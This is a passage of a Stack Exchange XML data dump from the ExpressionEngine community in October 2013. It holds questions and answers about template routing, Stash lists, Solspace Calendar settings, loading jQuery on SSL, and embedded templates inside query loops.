ContentLicense="CC BY-SA 3.0" />
  <row Id="14881" PostTypeId="1" CreationDate="2013-10-23T07:52:11.900" Score="2" ViewCount="73" Body="&lt;p&gt;I am using Solspace Calendar. I would like to know how to hide the out of range dates (last month and next month day cells) and only display the current month dates.&lt;/p&gt;&#xA;" OwnerUserId="2121" LastEditorUserId="69" LastEditDate="2013-10-23T10:37:45.227" LastActivityDate="2013-10-23T17:20:19.767" Title="Solspace Calendar out of range dates" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14882" PostTypeId="2" ParentId="14852" CreationDate="2013-10-23T09:00:45.117" Score="1" Body="&lt;p&gt;Are you sure your channel entries tag is actually outputting anything for Stash to capture? I would suggest adding &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;financial_support_options&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:channel:entries channel=&quot;financial_support&quot; dynamic=&quot;no&quot;}&#xA;        {stash:financial_url_title}{url_title}{/stash:financial_url_title}&#xA;        {stash:financial_title}{title}{/stash:financial_title}&#xA;        {stash:financial_page_content}{page_content}{/stash:financial_page_content}&#xA;        {stash:financial_summary}{summary}{/stash:financial_summary}&#xA;     {/exp:channel:entries}&#xA; {/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you turn on the Template Debugger you will be able to see lines beginning &lt;code&gt;Stash:&lt;/code&gt; Look for the variable &lt;code&gt;financial_support_options&lt;/code&gt; in the debug output to see what value Stash says it is set to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides that advice, I'd question why you need to split &lt;code&gt;main-landing&lt;/code&gt; and &lt;code&gt;support-main-landing.html&lt;/code&gt; into two files? Are you using &lt;code&gt;support-main-landing.html&lt;/code&gt; elsewhere? If not, why not make them one to simplify things? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed:wrappers:main}&#xA;&#xA;{!-- Set data for the landing page --}&#xA;{exp:channel:entries channel=&quot;support&quot; url_title=&quot;{segment_3}&quot;}&#xA;    {exp:stash:set}&#xA;        {stash:url_title}{url_title}{/stash:url_title}&#xA;        {stash:title}{title}{/stash:title}&#xA;        {stash:page_content}{page_content}{/stash:page_content}&#xA;    {/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&#xA;{!-- Set data for the financial support sub-pages --}&#xA;{exp:stash:set_list name=&quot;financial_support_options&quot; parse_tags=&quot;yes&quot;}&#xA;     {exp:channel:entries channel=&quot;financial_support&quot; dynamic=&quot;no&quot;}&#xA;         {stash:financial_url_title}{url_title} {/stash:financial_url_title}&#xA;         {stash:financial_title}{title}{/stash:financial_title}&#xA;         {stash:financial_page_content}{page_content}{/stash:financial_page_content}&#xA;         {stash:financial_summary}{summary}{/stash:financial_summary}&#xA;     {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- Set everything in between here as the content --}&#xA;{exp:stash:set name=&quot;content&quot;}&#xA;{snippet:breadcrumb}&#xA;&amp;lt;div class=&quot;efc internal main-content&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container entry&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-8&quot;&amp;gt;&#xA;            &amp;lt;h4&amp;gt;{exp:stash:get name='title'}&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;div class=&quot;row financial-options&quot;&amp;gt;&#xA;                {exp:stash:get_list name=&quot;financial_support_options&quot;}&#xA;                    &amp;lt;div class=&quot;col-md-6&quot;&amp;gt;&#xA;                        &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;a href=&quot;financial-support/{financial_url_title}&quot;&amp;gt;{financial_title}&amp;lt;/a&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p&amp;gt;{financial_summary}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                {/exp:stash:get_list}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;            {!-- If we're on the Financial Support page, show it's unique sidebar --}&#xA;            {if segment_2==&quot;financial-support&quot;}&#xA;                {stash:embed:content:sidebar-financial-support}&#xA;            {/if}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-10-23T09:00:45.117" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14883" PostTypeId="2" ParentId="14839" CreationDate="2013-10-23T09:09:15.837" Score="1" Body="&lt;p&gt;Turns out all products belongs to a tax category so it was thinking everything was related, had to disable that category from the output then all was fine!&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2013-10-23T09:09:15.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14884" PostTypeId="2" ParentId="14880" CreationDate="2013-10-23T09:11:36.013" Score="5" Body="&lt;p&gt;I got it working.... silly, silly, silly me....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially I used entry_submission_end($entry_id, $meta, $data), but realised I needed entry_submission_ready. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I overlooked the fact entry_submission_ready uses different arguments, its ($meta, $data, $autosave) and not ($entry_id, $meta, $data)!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it works fine with the correct arguments. RTFM!&lt;/p&gt;&#xA;" OwnerUserId="381" LastActivityDate="2013-10-23T09:11:36.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14888" PostTypeId="1" AcceptedAnswerId="14892" CreationDate="2013-10-23T12:20:53.793" Score="4" ViewCount="173" Body="&lt;p&gt;I would like to be able to have the url-structure like  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://example.com/category_name/entry_url_title&quot; rel=&quot;nofollow&quot;&gt;http://example.com/category_name/entry_url_title&lt;/a&gt;   &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now i know that the default structure in ExpressionEngine is &lt;code&gt;template_group/template_name&lt;/code&gt;. The thing i would like to avoid is having to create an entire new Template Group when adding a page group. Also that would seem to make the creation of menus a lot simpler and dynamic.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this making any sense or am i going about this problem all wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm happy to elaborate if you something is missing in this question. Any help/insights would be enormously appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2193" LastActivityDate="2013-10-24T14:23:10.967" Title="Is it possible to have category name instead of template_group in uri?" Tags="|categories|url|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14889" PostTypeId="2" ParentId="14859" CreationDate="2013-10-23T12:42:02.953" Score="2" Body="&lt;p&gt;The hidden &lt;code&gt;_params&lt;/code&gt; field is there to encrypt any &lt;a href=&quot;https://exp-resso.com/docs/product_tag.html#product_tag_parameters&quot; rel=&quot;nofollow&quot;&gt;parameters&lt;/a&gt; you include in your Products tag. For example, if you specify some required fields then the parameters just act as an extra layer of security here to stop someone potentially modifying the form to remove the requirements upon submission. It should be safe to cache these as they generally wont change once configured but if you make any changes to the tag parameters then just be sure to clear the cache first.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-10-23T12:42:02.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14890" PostTypeId="2" ParentId="14888" CreationDate="2013-10-23T12:55:05.983" Score="4" Body="&lt;p&gt;It depends how &lt;em&gt;dynamic&lt;/em&gt; you want the URL to be along with the usage and setup of the site really. If it's just a simple blog/news site then you can set things up on the root URL like that but if there are other sections then you may want to consider including &lt;code&gt;/news/category/entry_url&lt;/code&gt; where &lt;code&gt;news&lt;/code&gt; is a template group of whatever your content consists of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally though, if you looking to break free from EE's default template routing then your best bet would be to use a &lt;a href=&quot;http://devot-ee.com/search/tags/tag/routing&quot; rel=&quot;nofollow&quot;&gt;routing addon&lt;/a&gt;. There are a few which can help out here but my personal favourite is &lt;a href=&quot;http://devot-ee.com/add-ons/template-routes&quot; rel=&quot;nofollow&quot;&gt;Template Routes&lt;/a&gt;. You then have much more customisation of your EE URLs.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-10-23T12:55:05.983" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14891" PostTypeId="2" ParentId="14888" CreationDate="2013-10-23T13:55:55.557" Score="4" Body="&lt;p&gt;It depends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EECMS needs a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/global_channel_preferences.html#category-url-indicator&quot; rel=&quot;nofollow&quot;&gt;category URL indicator&lt;/a&gt; if you want to use &lt;code&gt;category_name&lt;/code&gt; instead of the ugly  &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/global_channel_preferences.html#use-category-url-titles-in-links&quot; rel=&quot;nofollow&quot;&gt;numeric indicator&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can use the really good &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;Low Seg2cat&lt;/a&gt; and to put all the code on your index template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{segment_1_category_id}&quot; == &quot;&quot;}&#xA;    {!-- your homepage code --}&#xA;{/if}&#xA;{if &quot;{segment_1_category_id}&quot;}&#xA;    {!-- your code to list all entries of this category --}&#xA;    {!-- your single entry code --}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This sample doesn't deal with different codes for single entry and for list of entries. I don't know if you need this.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-10-23T13:55:55.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14892" PostTypeId="2" ParentId="14888" CreationDate="2013-10-23T13:57:53.943" Score="4" Body="&lt;p&gt;Yes, just have your index template in your default group catch it (strict 404's may interfere with this though).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;a href=&quot;http://devot-ee.com/add-ons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;Low Seg2Cat&lt;/a&gt; to identify the category, you'll need to check for none found, no_results and utilise embeds to keep the template clean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using something like &lt;a href=&quot;http://devot-ee.com/add-ons/template-routes&quot; rel=&quot;nofollow&quot;&gt;Template Routes&lt;/a&gt; means duplication in all the categories to catch them.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-10-23T13:57:53.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14893" PostTypeId="1" CreationDate="2013-10-23T14:58:26.033" Score="3" ViewCount="320" Body="&lt;p&gt;Field Pack - Dropdown does it work with channel:form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't make it work! I need to use both &quot;name : label&quot;&lt;/p&gt;&#xA;" OwnerUserId="2246" LastEditorUserId="28" LastEditDate="2013-10-23T16:05:50.967" LastActivityDate="2014-10-25T17:38:25.543" Title="Field Pack - Dropdown does it work with channel:form?" Tags="|pixelandtonic|field-pack|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14894" PostTypeId="2" ParentId="14888" CreationDate="2013-10-23T15:56:29.580" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;https://github.com/averyvery/freeway&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Freeway extension&lt;/strong&gt;&lt;/a&gt; should do the trick for you. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A route looks like this:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;/blog/{{username}}/{{category}} =&gt; /blog/category/{{category}}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In this case, a URL like &quot;blog/davery/css&quot; will be treated, in EE, as&#xA;  &quot;blog/category/css&quot;. Several variables will be available in the&#xA;  template:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;{freeway_username} - davery&lt;br&gt;&#xA;  {freeway_category} - css&lt;br&gt;&#xA;  {freeway_1} -&#xA;  blog {freeway_2} - davery&lt;br&gt;&#xA;  {freeway_3} - css&lt;br&gt;&#xA;  {freeway_4+} - (blank)&lt;br&gt;&#xA;  {freeway_info} - debug info from Freeway&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-10-23T15:56:29.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14895" PostTypeId="1" AcceptedAnswerId="14897" CreationDate="2013-10-23T16:15:00.340" Score="2" ViewCount="61" Body="&lt;p&gt;I hoping someone has some experience with EE 1.  I recently had to apply a secure cert to secure a site, front end and back end.  Everything's fine, but EE is loading 2 jQuery files over http.  The client is getting a message asking them if they want to load insecure elements on this page. Everything is fine when they click ok to this, but they'd rather not have to do it every time they want to update something.  Does anybody know where EE 1 loads the files below?  There at the top of the page if you view source on a control panel page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;script type=&quot;text/javascript&quot; src=&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;script type=&quot;text/javascript&quot; src=&quot;http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2013-10-23T16:42:18.897" Title="Expresion Engine 1.X jquery" Tags="|ee1|jquery|ssl|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14896" PostTypeId="2" ParentId="12526" CreationDate="2013-10-23T16:15:34.907" Score="2" Body="&lt;p&gt;The error &quot;Unknown column 'session_id'&quot; points to the session_id column not being present in the &quot;exp_security_hashes&quot; table on your production server... Why it's missing is not clear to me but should be an easy fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, compare the tables on both servers to see what's different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you see the session_id column in the exp_security_hashes table on production? If you do see it, I'd guess the exp_security_hashes table has crashed and needs to be repaired. You can run the repair in phpmyadmin or your DB tool of choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't see the session_id column in the exp_security_hashes table, you'll need to add it... Best way to do that is to export the table from your local DB, delete the table from production and import the sql to recreate the table... Or you can manually create it to match your local DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE: BACKUP YOUR PRODUCTION DATABASE before you start making changes.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: &lt;a href=&quot;https://expressionengine.stackexchange.com/a/4910/28&quot;&gt;&lt;strong&gt;This SE answer has the SQL you can run to create the column in the DB&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-12-12T00:38:21.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14897" PostTypeId="2" ParentId="14895" CreationDate="2013-10-23T16:42:18.897" Score="3" Body="&lt;p&gt;Correct, just make the jQuery settings in the extension area to be a relative protocol: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-10-23T16:42:18.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14898" PostTypeId="1" CreationDate="2013-10-23T17:01:08.693" Score="2" ViewCount="99" Body="&lt;p&gt;Simple question here! I'm using Assets on every site but I found the last version very slow when browsing files, creating folders etc. etc. so what do you use in large siteswith lots of images?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(also notice that I only use Mediatemple DV 1GB - one server for one website!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Francesco&lt;/p&gt;&#xA;" OwnerUserId="1130" LastEditorUserId="197" LastEditDate="2013-10-23T18:30:27.800" LastActivityDate="2013-10-23T22:31:34.223" Title="Using Pixel and Tonic Assets 2 for websites with lots of images" Tags="|assets|pixelandtonic|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14899" PostTypeId="1" CreationDate="2013-10-23T17:13:56.217" Score="1" ViewCount="93" Body="&lt;p&gt;Can't seem to get this to work.&#xA;See comments: &lt;a href=&quot;https://gist.github.com/timkelty/6996339&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/timkelty/6996339&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories&#xA;  group_id=&quot;2&quot;&#xA;  style=&quot;linear&quot;&#xA;  show_empty=&quot;no&quot;&#xA;  parse=&quot;inward&quot;&#xA;  entry_id='{exp:stash:get_list name=&quot;resource&quot; backspace=&quot;1&quot;}{entry_id}|{/exp:stash:get_list}'&#xA;}&#xA;  {stash:cat_name}{cat_name}{/stash:cat_name}&#xA;  {stash:cat_id}{cat_id}{/stash:cat_id}&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2248" LastActivityDate="2013-10-24T06:51:23.017" Title="Using stash:get_list as plugin parameter value" Tags="|stash|parse-order|list|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14900" PostTypeId="2" ParentId="14881" CreationDate="2013-10-23T17:20:19.767" Score="1" Body="&lt;p&gt;If you're using &lt;code&gt;date_range_start=&quot;year-month-01&quot; date_range_end=&quot;year-month-last&quot;&lt;/code&gt; (to cover all days of the current month, for example), add &lt;strong&gt;&lt;code&gt;pad_short_weeks=&quot;n&quot;&lt;/code&gt;&lt;/strong&gt; to avoid Calendar from including extra days part of a full week row. More details on this can be found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/calendar/calendar/#pad_short_weeks&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/calendar/calendar/#pad_short_weeks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this is for the &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; tag &lt;strong&gt;only&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-10-23T17:20:19.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14901" PostTypeId="2" ParentId="14871" CreationDate="2013-10-23T18:50:03.603" Score="3" Body="&lt;p&gt;Make sure that the particular Wygwam editor configuration assigned to this custom field has a chosen upload directory. To double check this go to...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Modules &gt; Wygwam &gt; Editor Configurations&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...and in the editor configuration settings you will see a select menu labelled &quot;Upload Directory&quot; where you assign this. &lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-10-23T19:21:08.623" LastActivityDate="2013-10-23T19:21:08.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14902" PostTypeId="2" ParentId="14712" CreationDate="2013-10-23T19:19:28.983" Score="1" Body="&lt;p&gt;I'd have each Semester (Quarter) as separate products, then use the multi add to cart tag so customer can select which ones they want to purchase.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-10-23T19:19:28.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14903" PostTypeId="2" ParentId="14641" CreationDate="2013-10-23T19:31:31.803" Score="3" Body="&lt;p&gt;Try this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parents field=&quot;specialty_pizzas&quot;}&#xA;{if parents:count == &quot;1&quot;}{parents:total_results}{/if}&#xA;{/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-10-23T19:31:31.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14904" PostTypeId="1" CreationDate="2013-10-23T19:35:48.240" Score="3" ViewCount="229" Body="&lt;p&gt;When I use an &lt;code&gt;embed&lt;/code&gt; tag within either an &lt;code&gt;exp:query&lt;/code&gt; or &lt;code&gt;exp:channel:categories&lt;/code&gt; loop, the outcome is the same: the embedded template erroneously receives the same variable over and over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pretend we have three categories, with IDs of 1, 2, and 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example Embed Template (site/template)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; The parent category ID is {embed:parent_category_id}.&amp;lt;br/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example A&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:query sql=&quot;SELECT cat_id as category_id FROM exp_categories LIMIT 3&quot;}&#xA;      {category_id} / {embed=&quot;site/template&quot; parent_category_id=&quot;{category_id}&quot;}&#xA; {/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;outputs...&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 1 / The parent category ID is 1.&#xA; 2 / The parent category ID is 1.&#xA; 3 / The parent category ID is 1.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example B&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:categories style=&quot;linear&quot; parent_only=&quot;yes&quot;}&#xA;      {category_id} / {embed=&quot;site/template&quot; parent_category_id=&quot;{category_id}&quot;}&#xA; {/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;outputs the same thing...&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 1 / The parent category ID is 1.&#xA; 2 / The parent category ID is 1.&#xA; 3 / The parent category ID is 1.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Things I've tried (unsuccessfully):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;changing up variable names&lt;/li&gt;&#xA;&lt;li&gt;liberally applying &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; in various combinations&lt;/li&gt;&#xA;&lt;li&gt;using a conditional like &lt;code&gt;{if count == 1}foo{if:else}bar{/if}&lt;/code&gt; to see if I can get the printed value of &lt;code&gt;{embed:parent_category_id}&lt;/code&gt; to change.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've used embeds within loops many, many times without experiencing this issue, and it's driving me bonkers. There's no caching or additional fanciness in play that I can think of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7.2.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Actual Templates&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;costumes (approximated by example A)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {embed=&quot;site/.part-header&quot; title=&quot;Costumes&quot;}&#xA;&#xA; &amp;lt;h1&amp;gt;Costumes&amp;lt;/h1&amp;gt;&#xA;&#xA; &amp;lt;div class=&quot;category-nav&quot;&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li class=&quot;previous-concept&quot;&amp;gt;&amp;lt;a href=&quot;&quot; class=&quot;disabled&quot;&amp;gt;Previous Concept&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li class=&quot;back-to-grid&quot;&amp;gt;&amp;lt;a href=&quot;&quot; class=&quot;disabled&quot;&amp;gt;Back to Grid&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;        {exp:channel:categories channel=&quot;costumes&quot; style=&quot;linear&quot; parent_only=&quot;yes&quot;}&#xA;            {if count == &quot;1&quot;}&#xA;            {exp:channel:entries category=&quot;{category_id}&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; limit=&quot;1&quot;}&#xA;            &amp;lt;li class=&quot;next-concept&quot;&amp;gt;&amp;lt;a href=&quot;{site_url}costume-detail/{entry_id}/&quot;&amp;gt;Next Concept&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            {/exp:channel:entries}&#xA;            {/if}&#xA;        {/exp:channel:categories}&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;br class=&quot;clear&quot; /&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA;&#xA; &amp;lt;div class=&quot;costume-grid&quot;&amp;gt;&#xA; {exp:query sql=&quot;SELECT cat_name as parent_category_name, cat_id as parent_category_id &#xA;                FROM exp_categories &#xA;                WHERE group_id = 4 &#xA;                AND parent_id = 0 &#xA;                ORDER BY cat_order ASC&quot;}&#xA;    &amp;lt;div class=&quot;costume-grid-row{if count == total_results} last{/if}&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;gridbox&quot;&amp;gt;&#xA;            &amp;lt;p class=&quot;costumecategory&quot;&amp;gt;{parent_category_name}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        {embed=&quot;site/.part-category-item&quot; category_id=&quot;{parent_category_id}&quot;  base_url=&quot;{site_url}costume-detail/&quot;}&#xA;&#xA;        &amp;lt;br class=&quot;clear&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA; {/exp:query}&#xA; &amp;lt;/div&amp;gt;&#xA;&#xA; &amp;lt;div class=&quot;intros&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;graybox&quot;&amp;gt;&#xA;        {exp:channel:entries channel=&quot;static&quot; entry_id=&quot;11&quot; limit=&quot;1&quot;}&#xA;            &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;            {content-1}&#xA;        {/exp:channel:entries}&#xA;&#xA;        &amp;lt;div class=&quot;right&quot;&amp;gt;&#xA;            {exp:channel:entries channel=&quot;costumes&quot; dynamic=&quot;no&quot; category=&quot;60&quot; limit=&quot;1&quot; sort=&quot;asc&quot;}&#xA;                &amp;lt;a id=&quot;explore&quot; class=&quot;text-button&quot; href=&quot;{site_url}costume-detail/{url_title}/&quot;&amp;gt;Explore&amp;lt;/a&amp;gt;&#xA;            {/exp:channel:entries}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA;&#xA; {embed=&quot;site/.part-footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;.part-category-item&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:query sql=&quot;SELECT c.cat_id, c.cat_url_title, c.cat_name &#xA;                FROM exp_channel_titles t &#xA;                LEFT JOIN exp_channel_data d ON t.entry_id = d.entry_id &#xA;                LEFT JOIN exp_category_posts cp ON t.entry_id = cp.entry_id&#xA;                LEFT JOIN exp_categories c ON cp.cat_id = c.cat_id&#xA;                WHERE c.parent_id = '{embed:category_id}'&#xA;                ORDER BY c.cat_order ASC&quot;}&#xA;    {exp:channel:entries category=&quot;{cat_id}&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; dynamic=&quot;no&quot;}&#xA;        &amp;lt;div class=&quot;gridbox&quot; style=&quot;overflow: visible;&quot;&amp;gt;&#xA;            {categories show=&quot;not {embed:category_id}&quot; limit=&quot;1&quot;}&#xA;                &amp;lt;table cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; style=&quot;overflow: visible;&quot;&amp;gt;&#xA;                    &amp;lt;tr style=&quot;overflow: visible;&quot;&amp;gt;&#xA;                        &amp;lt;td style=&quot;overflow: visible;&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;{embed:base_url}{url_title}/&quot; &amp;gt;&#xA;                                &amp;lt;img src=&quot;{category_image}&quot; style=&quot;margin: 0; padding: 0;&quot; title=&quot;{title}&quot; /&amp;gt;&#xA;                            &amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;/table&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{embed:base_url}{url_title}/&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;            {/categories}&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/exp:channel:entries}&#xA; 